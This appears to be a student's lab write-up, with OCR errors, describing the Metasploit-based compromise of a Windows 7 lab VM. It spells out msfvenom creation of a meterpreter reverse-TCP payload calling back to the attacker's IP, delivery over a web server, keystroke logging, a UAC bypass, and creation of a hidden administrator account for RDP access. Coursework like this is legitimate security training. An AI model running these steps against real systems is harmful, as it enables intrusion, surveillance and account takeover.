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TASK A

1. Configure Metasploit framework to set up a meterpreter reverse shell connection to the target
Windows 7 by using the following configurations.
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To start I entered the command “msfconsole” to open the Metasploit interface. Next, [ used the command
exploit/multi/handler to set the payload. I used the command set payload
windows/meterpreter/reverse_tcp to set up meterpreter reverse connection. Then I entered the command
show options to see information was needed. I found that I need to enter the lhost and Iport.



* Listening Port: Use 30122 as your port number.
* Payload Name: Use your MIDAS ID (for example, pjiang.exe).
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I used the come “set Iport” to set the lport to 30122. To set my lhost I used the command “set lhost™ and
entered my ip address (the attacker machine’s ip). I ran the exploit using the “exploit” command.
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The second part for this task is to create an executable payload. The command to create the deliverable
payload is msfvenom. The command I entered is “msfvenom -p windows/meterpreter/reverse tcp
lhost=192.168.10.13 Iport=30122 -f exe -o dpate020.exe”. The -p means the payload’s path and name, -f
means the format of the output (exe in this case), and the -o means the path and name of the output file.
Lhost is the attacker’s IP (192.168.10.13) and the Iport is the lisitening port (30122). Next I started the
web server apache?2, then I copied the payload “dpate020.exe” to the directory for web server using the
command “ cp dpate020.exe /var/www/html.
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Debian’s Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.
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I went on google chrome web browser and I went to 192.168.10.13/dpate020.exe to download the
malicious file on the Windows 7 machine and I opened it.
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I came back to my terminal to verify the reverse shell connection. I can see the reverse shell open between
the attacker machine and our target machine on the IP address (192.168.10.9).



Task B

Once you have established the reverse shell connection to the target Windows 7, complete the
following tasks in your meterpreter shell:

1. Take a screenshot of the target machine.
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The reverse shell connection to the target has been established now, I used the command “screenshot” to
take a screenshot of the victim’s machine. The screenshot above shows the command besides the light
green arrow and the screenshot taken



2. Type “This is XXX, happy summer!” in the Windows 7 VM. Then capture the keystrokes on
the attacker side. Please replace XXX with your full name
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I entered the command “keyscan_start” and then [ went to the target machine and typed “This is Deep
Patel, happy summer!” then I came back to the attacker machine and used the command “keyscan dump”
to see what is being typed on the target machine.



3. Create a text file on the attacker Kali, named “IMadelT-YourMIDAS.txt" (replace
YourMIDAS

with your university MIDAS ID) and put the current timestamp in the file. Upload this file to
the target's desktop (Windows 7 VM). Then login to Windows 7 and check if the file exists.
You need to show me the command that uploads the file.
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I opened leafpad and made a text file with the current time, date, and my name. I saved the file to my root
folder and saved it as IMadelT-dpate020.txt
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I used the dir command to see my directory. It is currently under downloads so before I can
upload the file to the target’s desktop, I need to change my directory and go to the desktop.
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[ used the “pwd” command to print my working directory. Next, I used the cd Desktop to change my
directory. I used “ls” command before uploading the file to see a list of files on the desktop. I used the
command “upload /root/IMadelT-dpate020.txt” to upload the text file to the target machine’s desktop. I
used the “Is” command again to verify that the file was uploaded to the target machine’s desktop.
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Here is a screenshot of the text file that [ uploaded from the attacker machine. The screenshot was taken
from Windows 7 VM where the file was uploaded to on the desktop.



TASK C

Background your current session, then gain administrator-level privileges on the remote system.
After

you escalated the privilege, complete the following tasks:
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To background the current session, I used the “background” command. Next to search the exploits related
to UAC, I entered the command “‘search bypassuac”. I can see that exploit “bypassuac” can be used so |
entered the command “use exploit/windows/local/bypassuac” to use bypassuac as the exploit.
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To fill the session field, I looked up active sessions using the “sessions” command. Next, [ used the “set
session 1” command to set the session to 1. Then I ran the exploit using the “exploit” command.



1. Create a malicious account with your name and add this account to the administrator group.

You need to complete this step on the Attacker Side.
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I entered the command shell to access the windows shell. To add a user I used the following command
“net user /add Deep PasswOrd123”, next step is to add this account to the administrator group. For that I
used the command “net localgroup administrators Deep /add”. This gives the account “Deep”
administrator privilege.



2. Log in to the target Windows 7 VM, then use the netstat command to display all the TCP

connections on the target system. Highlight the connection to the attacker Kali.
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I logged onto the target Windows 7 VM, and | opened command prompt and entered the command netstat
to see all the TCP connections on the target system. I have highlighted the connection to the attacker Kali.

3. Remote access to the malicious account created in Task C.1, and browse the files belonging

to the user, "Windows 7", in RDP.
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I opened a new terminal and entered the command “# rdesktop -u BreakU -p test 192.168.10.9” to gain
access and browse the files belonging to the user Deep, in RDP. (*I realized that I made a mistake on the
command, the VM had ended so I could not go back and fix my mistake, but the correct command should
be “# rdesktop -u Deep -p test 192.168.10.9” )



